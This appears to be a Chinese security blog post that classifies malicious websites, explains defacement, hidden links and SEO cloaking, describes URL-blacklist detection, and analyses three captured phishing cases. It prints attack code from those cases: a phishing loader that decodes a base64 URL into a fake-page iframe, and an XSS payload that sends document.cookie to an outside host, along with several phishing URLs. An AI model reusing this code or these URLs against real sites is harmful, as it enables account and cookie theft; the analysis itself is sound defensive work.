前言

恶意网站在大家平时网络生活应该不少接触,比如,QQ聊天窗口的安全提示,百度搜索结果的拦截提示,或者是QQ管家、金山毒霸等在你访问某些网站时弹出的访问提示;再或者某某访问什么网站,被骗了多少钱等等。。。

细数这些,我想大家都不陌生,但是具体恶意网站又是怎么一回事,我想估计真正了解的人没多少。

前前后后写了几篇关于恶意网站的文章,整理一下让大家更加的了解恶意网站。

什么是恶意网站

什么是恶意网站?这是一个比较泛的概念,在我们看来,会对网民上网造成危害的网站,应该都属于这个定义里面。比较常见的有钓鱼网站、假冒仿冒网站等等。举个例子,有一些站点仿冒中国好声音官网进行欺诈,给一些人发短信说中奖了,登陆某某网址进行领奖,而实际是某某网站访问不是真正的中国好声音的官网,是假冒的,会诱导用户进行一些如银行转帐等造成用户利益损失的行为,这其中某某网址就是一个经典的恶意网站。再比如仿冒QQ安全中心、QQ空间等页面的,进行QQ盗取的网站都属于恶意网站。

还有就是比如网民访问了,会中木马病毒的挂马网站同样是一种恶意网站。

恶意网站分类

在我看来,恶意网站总的可以分为这几类(以下仅来自个人的分类与定义):

  1. 盗号钓鱼
  2. 仿冒欺诈
  3. 黑客入侵
  4. 博彩赌球
  5. 淫秽色情
  6. 非法交易与销售
  7. 病毒木马
  8. 违法违规

首先解释大家最关心的第五类,淫秽色情,这个词什么意思我就不解释了。其实淫秽色情要看大家怎么看了,从法律上讲,是不允许的,自然算恶意,但如果大家觉得浏览这样的网站没有什么损失,有这样的需求,那么就可以不是。不过一般往往色情网站自身带有其他恶意行为,比如挂马等,不过现在也有一些自标榜不含任何恶意代码的“真色情”网站,是否如此就不得而知,笔者还是建议大家平时上网做好安全措施,比如安装个noscript插件,就能阻止恶意js代码的执行了。

其次是盗号钓鱼与仿冒欺诈。盗号钓鱼指的是通过伪装页面等方式获取帐号密码等私人信息;而仿冒欺诈,有仿冒也有欺诈,顾名思义,通过仿造页面进行欺诈。其实这两个类别是有交叉的,往往盗号钓鱼的网站,通过就通过仿冒假冒的形式来进行,而这其实如果一定要算,也可以算做一种欺诈。但两者有个区别在于盗号钓鱼在于窃取帐号等信息,而仿冒欺诈,更在于欺诈。如下:

你觉得下图哪个是真正的官网呢?
第一张

第二张

第二张才是真正的官网,俏十岁的域名是http://www.qiaoshisui.com/

第一张图是不是可以以假乱真了?而这里的仿冒就不是为了盗取帐号信息,因为你会发现登陆注册根本是假的。 黑客入侵,就不解释了,具体下面单独讲。

博彩赌球,大家一样可以看下文,referer作弊跟ua作弊中搜索引擎真正看到的页面其实都是博彩页面。

非法交易与销售,这个按照字面理解也很简单,比如代办信用卡、办假证、刀具销售等这些都属于。

病毒木马,网页挂马就属于这一类,这个大家应该不陌生,在几年前是非常流行,而现在已经是慢慢没落了,这代表的是一个底下产业的没落。

违法违规,估计有小伙伴又有话说了,前面几类都是违法违规啊,难道你说木马病毒不违法吗?色情合法吗?我只能说,小伙伴,你着道了。其实这个类更像是对不属于以上几个类别的恶意网站的补充,比如说反动网站等就属于这类。

这就是我对恶意网站的分类,仅仅是个人根据长期处理恶意网站数据的经验的看法。

网站被黑

咱们平时最经常也最了解的被黑,应该就属于那种替换掉首页或者在网站目录上传个黑页,这种很常见,国内外均有这样黑页提交统计站点,如国内的被黑站点统计

这种被黑不难理解,渗透网站,通过各种方式上传webshell,然后上传黑页就算是了,一般这种被黑的目的就是出于纯粹的黑站,有报复、宣传一些东西之类的。这次的马航事件,马航官方网站旗下edm分站就被一名为4z1的马来西亚黑客所黑,黑客留言“I’m From Malaysia But I Dare Not Admit”影射马来西亚政府刻意隐瞒真相,不敢承认事实。下图就是一个常见的黑页。

在普通被黑之外,有三种情况,三种情况的目的是差不多的,seo。为什么这么说呢?具体如何?不告诉你。开个玩笑,看下文

第一种,暗链这种被黑一般仅存在于首页。

暗链不会影响页面的显示,不会破坏页面格局,更不会进行跳转,黑客通过设置使链接在页面不可见,但实际又存在,可以通过源码查看。通常方式有如设置css,使div等不可见、使div的边距为负数,反正只要在页面上看不到就行。一般位置处于源码的底部或者顶部。


黑客为什么这样做,咱们先不说,后面一起来

第二种,UA作弊 我们先来看两张图


同一个网址,两种界面

这个绝对不是笔者闲着没事干用F12去修改了代码,而是笔者对火狐的一个设置改变了下,真相在下图

其实有些读者在看到标题应该就知道情况了,就是UA起的作用,把UA改成搜索引擎爬虫的UA,查看到的就是另一个页面了

具体设置:

1
general.useragent.override:Googlebot/2.1

第三种,REFERER作弊 同样先来看看图


这其实访问的是同一个网址,结果第二次访问跳转到一个博彩网站,第一次访问是原页面
秘密在这

因为第二个页面是我通过搜索引擎搜索直接点击搜索结果跳转过去访问的,因为带了来自搜索引擎的referer,页面就自动跳转了

好,看完了各种被黑,我先来看看每种的定义:

暗链:其实“暗链”就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,短时间内不易被搜索引擎察觉。它和友情链接有相似之处,可以有效地提高PR值。但要注意一点PR值是对单独页面,而不是整个网站。

UA作弊:又叫Cloaked Page。Cloaking中文翻译:伪装,隐蔽的。延伸意思:遮蔽或转移别人视线使其看不清真相的手法。

通常是说在Web服务器上使用一定的手段,对搜索引擎中的巡回机器人显示出与普通阅览者不同内容的网页。

REFERER作弊:又叫欺骗性重定向(Deceptive redirects)。

指把用户访问的第一个页面(着陆页)迅速重定向至一个内容完全不同的页面。

做这些又为了什么呢?其实大部分都是为了SEO。

这些其实都是SEO作弊,其实就是黑帽SEO。

做SEO的应该很了解这些方式。

黑帽SEO的方法很多,我们只谈与被黑相关的。而相关中,根据笔者长期进行恶意网站数据工作的经验,又以这三者最多。实现的前提同样是对网站的渗透。

恶意网站检测

百度搜索结果、QQ聊天窗口的那些恶意网站,那么这些恶意网站的提示是怎么做到的?

记得之前似乎做过介绍?其实这些一般都是根据一个恶意网址库进行匹配,如果网址在恶意网址库里,那么就提示恶意,并显示对应的恶意类型(如何查询、如何快速查询这些我们就不讨论了,涉及到一些数据库优化、缓存等等知识)。

说到这里,估计大家又会问,那么这些网址库是哪里来的?

一般恶意网址的来源有几个:

  1. 引擎检测,就是比如百度搜索每天有一大堆的搜索网址,直接拿来作为入口url,放到集群去检测,然后引擎识别是否恶意网址,不同引擎标注网址恶意类型
  2. 人工举报审核,各种平台会有一大堆网民举报的网址,然后通过人工审核,确认恶意情况入库到恶意网址数据库
  3. 数据交换,不同的恶意网址产生提供商之间为了更好的数据准确性及覆盖,一般会做一些数据交换,进行互补

正常情况下,那些安全厂商的恶意网址就是这样来的。 然后我们再来看看可能会出现哪些问题:

  1. 分类识别不准
  2. 误报
    3.漏报

这几个情况基于以上三种数据来源来说:

  1. 人工审核就不说了,因为是人工看,不排除存在误报和分类不准情况,但一般基本是为0
  2. 引擎检测,这个没什么好说的,每家开发的引擎不一样,算法不一样,资源不一样,识别情况都是不同的,比如腾讯搞自家仿腾讯产品的仿冒网站就识别的比较准,淘宝搞识别阿里系网站也是比较准;还有就是专精,比如金山,专精钓鱼,因为他们有赔付服务,但是也避免不了误报。
  3. 厂商数据交换,这取决于厂商的能力,包含他们的引擎识别准确度等,一般会先做质检,然后才会根据情况使用。

再单独说下分类不准的情况,就钓鱼和仿冒来说,大部分的网站为了钓鱼会先仿冒所以就这种情况首先就不好归类;然后再谈谈细节问题,一般来说,引擎是无法做细化到具体的技术细节的,一般会给出个出问题的url,因为实现这种东西没必要,等于花那么多的钱去搞一个可能只是个别人重视的东西,一般这种技术细节也只有懂技术的人才会看,而懂的人一般根据恶意类型,然后知道根据url和恶意类型一般就能找出问题来。

关于恶意网站的实现,我之前在一次安全沙龙有做过演讲,里面有提到,大家不凡看看我的ppt:http://vdisk.weibo.com/s/AdEqZ

恶意网站的一些小规律

说到以上8个类别,就根据数据量级来说,应该大概是这样一个排序:

  1. 盗号钓鱼、仿冒欺诈、病毒木马
  2. 被黑、博彩赌球、色情
  3. 非法交易与销售、违法违规

欺诈仿冒这些恶意网站取代了以前的病毒木马成为头号恶意网站分类。

就分布规律来说,经济越发展的地区,恶意网站的数量越多,而根据网站类型及域名后缀来看,被黑主要就是gov.cn的政府及新闻网站,而博彩中经常见到纯数字的.com域名,盗号钓鱼及仿冒欺诈,因为有不只存在页面仿冒假冒的,域名也有,所以域名相对没什么规律,其他几个类别也是。不过总的来说,所有域名后缀,.com的占比是最大的。

恶意网站与数据厂商

排除国外厂商不说,国内,就笔者知道的而言,有恶意数据产出的有:

百度 腾讯 金山 知道创宇 阿里巴巴 360

而安全联盟相信大家不陌生,就是聚合了百度、腾讯、金山、知道创宇的恶意网址库。

本来想给大家介绍下每个厂商的数据,不过因为涉及到工作,就不多说了,简单的说下。

各个厂商的数据在数量级、准确率、侧重恶意类型等都不相同,首先可以明确的是因为涉及到自家业务,像阿里在对仿冒淘宝、支付宝等恶意网站的检测,腾讯对仿冒QQ等业务的恶意网站的检测都相对比其他家高。在此之外,因为金山有个网购赔付服务,所以金山在针对盗号钓鱼与仿冒欺诈的恶意网站的处理上会更为专注,而知道创宇则拥有其他家都没有的暗链的检测能力,百度对于被黑中的SEO作弊的恶意网站的检测则更多点。至于哪家的准确率高,就不多做点评了。

每个厂商的的恶意网址库都不相同,也有自己独有擅长的恶意网站类型的检测能力。

而这些数据都在哪些地方使用呢?其实大家平常应该经常有接触。比如百度搜索结果的安全拦截、QQ聊天窗口、QQ电脑管家、金山毒霸、百度杀毒等对恶意网站的拦截,还有腾讯微博、各种浏览器上对恶意网站的拦截,均是采用了云端查询恶意网址库的一种模式,匹配云端的库,如果查询到是恶意的,就拦截。

例子:一个简单的钓鱼

一张图片。


说实在的,我真心喜欢这种发钓鱼链接给我的,因为这意味着给我送一个漏洞,然后又让我了解到一种钓鱼方式,其实一个好的钓鱼,就跟黑客思想一样,各种猥琐的思维和利用。不过对于这种钓鱼,一般我了解完,直接提交漏洞,举报钓鱼URL(好像有点坏,不过这样避免不懂的同学上当受骗)。

来分析下这个钓鱼,其实这个网址一看就知道,虽然百度的网址,但是一看就能看出来,这是一个跳转,利用了百度的URL跳转漏洞,明显是来送漏洞的嘛。。。实际网址就是后面那个网址,我们来分析下代码,直接查看源码:

这是一个简单的跳转,没其他代码了,提供meta的设置进行跳转,然后我们继续跟踪,这次没有跳转了,是一个视频聊天室网站,我们来看看把。

来看看真实的情况把



看完大家懂了把?其实这还是一个很简单的钓鱼,没什么可说的,主要的目的在于让大家点击然后会下载一个恶意软件,然后接下来你就懂了。反正我就喜欢这种送漏洞的钓鱼,哈哈,像那种很多QQ空间登陆的钓鱼也是类似的,有的甚至网址都没构造,压根就是一个完全不知道什么的网址。其实碰到这种情况,大家不凡查看下源码来看看。

例子:一个QQ空间的仿冒盗号网站的分析

知乎上有某位同学发了这样一个盗号链接,做了简单的分析:

hxxp://q0fk6w.baidu8.hnhfqy.com/baidu8/?wR1gH3=w1h0&c=1228&6l3s

查看源码:

然后把其中的js美化下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
function GetQueryString(str) {
var LocString = String(window.document.location.href);
var rs = new RegExp("(^|)" + str + "=([^\&]*)(\&|$)", "gi").exec(LocString),
tmp;
if (tmp = rs) return tmp[2];
return "Loading";
}
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function base64decode(Str) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
var base64test = /[^A-Za-z0-9+/=]/g;
if (base64test.exec(Str)) {}
Str = Str.replace(/[^A-Za-z0-9+/=]/g, "");
do {
enc1 = keyStr.indexOf(Str.charAt(i++));
enc2 = keyStr.indexOf(Str.charAt(i++));
enc3 = keyStr.indexOf(Str.charAt(i++));
enc4 = keyStr.indexOf(Str.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
} while (i < Str.length);
return unescape(output);
}
var loadurl = getFileName();
loadurl = base64decode("aHR0cDovL2hvbWUuY2hkc2dsLmNvbS8yLnBocC8/ZD0=");
var c = String(GetQueryString('c'));
loadurl = loadurl + c;
var web_title = decodeURIComponent(GetQueryString("t"));

function getFileName() {
var url = this.location.href;
var filename = url.split("/")[4] + "/" + url.split("/")[5];
return filename + '=';
}
var iframe_height = 1001;

function reinitIframe() {
document.title = web_title;
$('#myframe').attr('src', loadurl);
$('#myframe').css('height', iframe_height);
}
$(function () {
reinitIframe();
})

其中有个值:

aHR0cDovL2hvbWUuY2hkc2dsLmNvbS8yLnBocC8/ZD0=base64解码后是http://home.chdsgl.com/2.php/?d=

简单解释就是在当前页面嵌入了一个iframe,src是http://home.chdsgl.com/2.php/?d=1228

问题就出在这个链接. 然后里面又嵌入了一个页面http://xmakx2al.tk/tool/q.asp?spmui=1228

然后又是一个页面http://xmakx2al.tk/tool/c1/

里面又iframe个页面,http://xmakx2al.tk/tool/c1/t4.html

这个其实是一个图片背景的东西 多层嵌套下来,其实最终就是一个假的腾讯教育的页面,就是盗号用,这种方式很常见

例子:高级钓鱼,利用拍拍网的XSS漏洞

原文地址:[警惕]高级钓鱼攻击来了:拍拍XSS攻击

昨晚我们团队捕获到一起高级钓鱼攻击,紧急响应后,对背后的团队技术运作能力表示欣赏:终于不是老套的、土得要死的方式。这次还真唤起我心中的那个魔鬼,有趣,这样才有趣!😃

等黑产(非其他团队)用这样的方式已经等了很久很久,虽然还不够高明,但已经有进步了!根据伟大的统计学,互联网上铺天盖地的攻击,能正巧被我们发现的概率不高,这次既然发现了,可以推出利用这一攻击手法估计早几个月已经在实施,而准备好这套计划,估计时间上会更久。

开始进入重点: 在拍拍上和卖家交流后,卖家发来这条消息: 亲,亲反映的售后服务问题,我们给亲退款58元作为优惠,亲填写下退款信息:http://mcs.paipai.com/RWsiZVpoe(真实的拍拍网址哦)

亮点1 被诱骗访问上面这个链接后,会302跳转到: http://shop1.paipai.com/cgi-bin/shopmsg/showshopmsg?shopId=2622893717&page=1&iPageSize=1&t=0.8497088223518993&g_tk=2019233269&g_ty=ls&PTAG=40012.5.9 这里面是一个存储型XSS,这个XSS不错在于,攻击者通过修改自己QQ昵称后,昵称被拍拍读取并没适当的过滤就展示出来了,导致存储型XSS。如下图: 上面这个链接的代码如下:

1
2
var msgContent = [false,false,1,false,'2351926008: ',' ','0000000000','2012-11-11','04:58:35','店主回复','000','2012-11-11','04:59:33',false,'2684118472:</script> ',' ','0000000000','2012-11-11','04:57:25','店主回复','00000','2012-11-11','04:59:25',''];
showLeaveMsg(msgContent, 1);

注意红色标注的位置。

亮点2

上面红色标注的位置,那个js链接是短网址,这个手法已经司空见惯了,短网址利于迷惑,同时内容短,对于一些数据提交限制长度的功能来说,这是一个好方法。

亮点3

打开这个短网址,跳转到了如下链接: http://my.tuzihost.com/qq2.js

这个链接里会生成一个拍拍真的页面,同时至少执行了如下脚本:

1
document.writeln("<iframe width=100% height=1 frameborder=0 scrolling=auto src='http://my.tuzihost.com/2/c.php?c="+escape(document.cookie)+"'></iframe>");

这个脚本很邪恶,就是专门盗取Cookie的。今年315后,认识Cookie的同学已经很多了,拍拍的Cookie比较脆弱,被盗取就意味着身份权限被盗。

在qq2.js这个文件里,攻击者明显是做了足够的研究,包括提取关键Cookie字段,通过代码里的痕迹与风格,估计可以推出是谁写的:)

亮点4

qq2.js所在的http://my.tuzihost.com/首页做了伪装,让人以为是一个正规的导航站。

亮点5

http://my.tuzihost.com/存在列目录漏洞,通过这个我查看了攻击者写的其他代码,可以看出用心了……

通过周边的一些信息推断:

  • 攻击者收集到的Cookie应该是存入了MySQL数据库;
  • 应该有个后台能显示这些Cookie信息;
  • 有邮件通知功能(也许还用作其他);
  • 攻击者(或者说团队更合适)不善于隐藏,也许他们分工真的明确,写利用代码的人不一定参与了攻击,否则不太可能犯下一些明显的错误;

结束

我们已经第一时间将这个攻击反馈给腾讯安全中心,我发现他们已经修复了漏洞,效率真高。

这次攻击实际上还不高级,不过非常有效,钓鱼钓的不是密码,而是关键Cookie,足矣秒杀拍拍了。我曾经科普过《关于社交网络里的高级钓鱼攻击》,大家可以查看微信的历史消息,看看这篇文章。

这次攻击在黑产中运用值得引起业界的警惕,实际上过去几年,这样的攻击我遇见过几起,不过没证据表明是黑产在运用,基本都是:just for joke。

拓展阅读